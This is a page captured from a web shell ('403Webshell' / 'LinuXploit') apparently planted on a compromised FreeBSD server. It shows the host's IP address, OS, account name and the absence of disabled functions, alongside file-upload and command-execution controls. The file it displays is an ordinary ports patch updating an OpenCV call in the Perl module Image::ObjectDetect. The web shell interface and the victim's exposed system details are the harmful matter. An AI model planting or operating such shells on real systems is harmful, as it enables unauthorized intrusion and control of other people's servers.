403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/p5-Image-ObjectDetect/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/p5-Image-ObjectDetect/files/patch-lib_Image_ObjectDetect.xs
--- lib/Image/ObjectDetect.xs.orig	2018-05-02 21:42:52.771732000 +0000
+++ lib/Image/ObjectDetect.xs	2018-05-02 21:43:03.658941000 +0000
@@ -7,6 +7,8 @@
 #include "cv.h"
 #include "highgui.h"
 
+#include <opencv2/imgcodecs/imgcodecs_c.h>
+
 MODULE = Image::ObjectDetect		PACKAGE = Image::ObjectDetect
 
 PROTOTYPES: ENABLE
@@ -54,11 +56,7 @@
         storage = cvCreateMemStorage(0);
         cascade = INT2PTR(CvHaarClassifierCascade *, SvIV(SvRV(self)));
         objects = cvHaarDetectObjects(gray, cascade, storage,
-#if (CV_MAJOR_VERSION < 2 || (CV_MAJOR_VERSION == 2 && CV_MINOR_VERSION < 1))
-                1.1, 2, CV_HAAR_DO_CANNY_PRUNING, cvSize(0, 0));
-#else
                 1.1, 2, CV_HAAR_DO_CANNY_PRUNING, cvSize(0, 0), cvSize(0, 0));
-#endif
 
         retval = newAV();
         for (i = 0; i < (objects ? objects->total : 0); i++) {

Youez - 2016 - github.com/yon3zu
LinuXploit